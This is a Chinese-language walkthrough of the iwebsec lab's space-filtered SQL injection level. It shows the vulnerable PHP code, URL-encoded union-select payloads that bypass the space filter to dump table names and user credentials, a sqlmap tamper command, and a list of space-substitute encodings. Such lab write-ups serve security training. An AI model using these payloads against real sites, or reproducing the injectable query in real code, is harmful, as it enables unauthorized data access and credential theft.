iwebsec sql-空格过滤

07-空格过滤

打开如下：

代码分析：

<?php
  if(isset($_GET['id'])){
	if (preg_match('/ /', $_GET["id"])) {
		die("ERROR");
	}else{
		$id=$_GET['id'];
		$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
		$result=mysql_query($sql);
	}
  }else{
		exit();
	}
	if ($result) {
		?>
		<table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
		<?php
		while ($row = mysql_fetch_assoc($result)) {
			echo "<tr>";
    			echo "<td>".$row['id']."</td>";
    			echo "<td>".$row['username']."</td>";
    			echo "<td>".$row['password']."</td>";
			echo "</tr>";
		}
		echo "</table>";
	}
	else
	{
//	echo '<font color= "#FFFFFF">';
	print_r(mysql_error());
//	echo "</font>";
	}

?>

preg_match 函数正则匹配了空格，我们可以用 %0a 新建一行绕过

构造注入语句：

http://localhost:8050/sqli/07.php?id=1%0aunion%0aselect%0a1,2,database()%23 #数据库名

http://localhost:8050/sqli/07.php?id=1%0aunion%0aselect%0a1,2,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database())%23 #全部表

http://localhost:8050/sqli/07.php?id=1%0aunion%0aselect%0a1,2,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name=%27sqli%27)%23 #sqli表的全部字段

http://localhost:8050/sqli/07.php?id=1%0aunion%0aselect%0a1,2,(select%0agroup_concat(username,password)%0afrom%0aiwebsec.sqli)%23 #sqli表全部字段内容

使用 sqlmap：

sqlmap -u 'http://localhost:8050/sqli/04.php?id=1' --dbs --tamper "space2comment.py" --batch

多种绕过空格分法：

1. %09 TAB键（水平）
2. %0a 新建一行
3. %0c 新的一页
4. %0d return 功能
5. %a0 空格
6. /**/ 多行注释